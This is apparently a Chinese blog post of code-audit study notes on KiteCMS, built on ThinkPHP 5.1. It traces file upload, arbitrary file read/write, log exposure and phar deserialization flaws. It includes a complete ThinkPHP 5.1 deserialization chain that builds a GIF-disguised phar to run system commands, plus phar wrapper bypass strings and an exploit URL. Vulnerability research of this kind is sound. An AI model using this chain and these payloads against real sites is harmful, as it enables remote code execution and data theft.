kitecms代码审计
kitecms是基于thinkphp5搭建的,这个我搭建的时候按照两个方法都失败了,访问/install
的时候安装不跳转,数据库安装倒是成功了/config/database.php
也配置好了但是访问的时候报错
就很奇怪
所以我就单纯的看着教程和源码进行审计学习了
thinkphp5.1比较上一代5.0,将配置目录和路由定义单独出来不在防御应用类库目录中(不可更改哦)
目录架构
1 | www WEB部署目录(或者子目录) |
代码审计
由于该系统使用的是thinkphp框架,所以我们在审计的时候需要着重观察application文件夹下面的文件,
1 | ├admin 后台代码 |
文件上传漏洞
(我没搭建成功,所以用的是教程里面的)
这里是对上传的文件进行了配置,
这里教程选择抓包查看路由配置信息
admin
的site
的config
,这里的html是伪静态,其实还是调用的config()
方法
(我们可以在config
的app.php
中看到他开了伪静态)
打开site.php
,查看里面的config
函数
20行调用了isAjax
判断是否是Ajax请求,然后通过Request::param
获取来自前端的数据并存储到$request
中,
刚刚应该是在哦后台的时候添加了一个php的文件使得其可传输,所以我们我们抓一个上传的包看一眼就可以了
上传包中都调用了uploadFile
方法,全局搜索一下
这里调用了Request::file
函数接收来自上传的文件,
这里启了一个uploadfile的函数是获取当前站点id然后创建一个新的uploadfile
的实例,跟踪一下
首先从config\site.php
获取site中的uploadfile
和imagewater
并且将其通过array_merge
合并到一起,然后获取我们之前传入数据库的内容与配置文件进行合并
这里也做了一些限制
继续顺着uploadfile
,下面调用了upload
函数,这里使用了filetype
获取上传类型然后通过check检查后缀以及大小
case完了以后通过upload
实现文件上传
所以我们只需要在后台设置.php
可上传,然后传就可以了
任意文件读写
通过全局搜索我们发现存在file_put_contents
函数,
而且里面的html
参数可控,也就是说file_put_contents
传入的内容可控
htmlspecialchars_decode
是将由htmlspecialchars
转换的html尸体进行解码,在前面的rootpath
向上回溯发现是将根路径、主题文件夹、主题名称和文件相对路径拼接成一个完整的文件路径
这里的$rootpath
通过param接收$path
,而path是request获得的path路径,所以这个地方的$path
可控
这里 相当于本来在404.txt
中写但是改成了在robots.txt
中加了一句ceshi
,实现了任意文件读写
任意文件读取
全局搜索file_get_contents
,发现在上面那个file_put_contents
的在一个函数中,分析一下发现
他判断是不是post传参,如果不是的话走下面的else判断里面的rootpath
,上面我们分析了rootpath
里面的$path
可控,所以这里会造成任意文件读取
它上面最后调用了1
return $this->fetch('fileedit', $data);
渲染filedit
并将$data
传给他
所以存在任意文件读取
phar反序列化
php使用的是内置的流包装器实现复杂的文件处理共嗯,内置包装器可用与文件系统函数
1 |
|
phar生成
1 | <?php |
phar文件必要的结构组成
stub:phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
manifest:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
content:被压缩文件的内容
signature (可空):签名,放在末尾。
绕过方法:
环境限制phar不能出现在前面的字符中,可以使用compress.bzip2://
和compress.bzip://
进行绕过
1 | compress.bzip://phar:///test.phar/test.txt |
或者使用其他协议
1 | php://filter/read=convert.base64-encode/resource=phar://phar.phar |
GIF格式验证中可以通过在文件头部添加GIT89a绕过
1 | - $phar->setStub("GIF89a","<?php __HALT_COMPILER();?>"); |
危害
攻击者可以通过PHAR反序列化漏洞来实现一下攻击:
- 远程代码执行:攻击者可以利用反序列化漏洞来远程执行任意php代码并获取服务器完全控制权
- 信息泄露:攻击者可以利用反序列化漏洞来读取服务器上的敏感数据,如数据库凭证,身份验证密码等
- 篡改数据:攻击者可以利用反序列化漏洞改变服务器上的数据,如篡改网站内容,篡改数据库数据等
防范措施
- 及时更新代码中利用phar的库或插件,以修复已知的漏洞
- 对用户输入的信息进行过滤和验证,确保输入的数据不包含恶意代码
- 金庸不必要的反序列化对象或者对反序列化对象进行严格控制
- 使用php的反序列化检测攻击检查潜在的远程代码执行漏洞
这里的$dir
参数完全可控,并且进入is_dir()
写tp5.1反序列化利用链生成phar文件1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = [$files];
}
}
}
namespace think\model\concern {
trait Conversion
{
}
trait Attribute
{
private $data;
private $withAttr = ["v" => "system"];
public function get()
{
$this->data = ["v" => "calc"];
}
}
#这里生成我们的pahr文件,如果生成时报错了可以将php.ini配置文件中的phar.readonly选项设置为
#Off就可以成功生成了。
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct()
{
$this->get();
}
}
}
namespace {
$conver = new think\model\Pivot();
$a = new think\process\pipes\Windows($conver);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
}
?>
打开访问会自动生成phar.phar
(如果报错的话是因为你的php.ini
里面没打开phar_onreadly=off
)
在010editor里面能看到我们的数据都写进去了
漏洞复现里面是在kitecms里面上传了phar.phar,改后缀为.jpg
,
用phar协议解析就可以弹计算器
顺便补一句这个下面的$dir
也是可控的,所以也可以利用
http://127.0.0.1/admin/admin/scanFilesForTree?dir=phar://地址
日志文件泄露
在config/app.php/log
中开启了调试模式,
也就是说开启了日志记录
https://pic.imgdb.cn/item/670b50a9d29ded1a8c902826.png
在日志配置文件config/log.php
里面发现默认开启了日志记录
访问/runtime/log
目录,使用bp求情就能得到log日志文件
文件上传第二处
application/member/controller/Upload.php
跟踪一下upload
函数发现
他只检查了后缀和大小,
所以可以在会员中心,对着这个
然后修改上传的png为php
就能访问到phpinfo文件了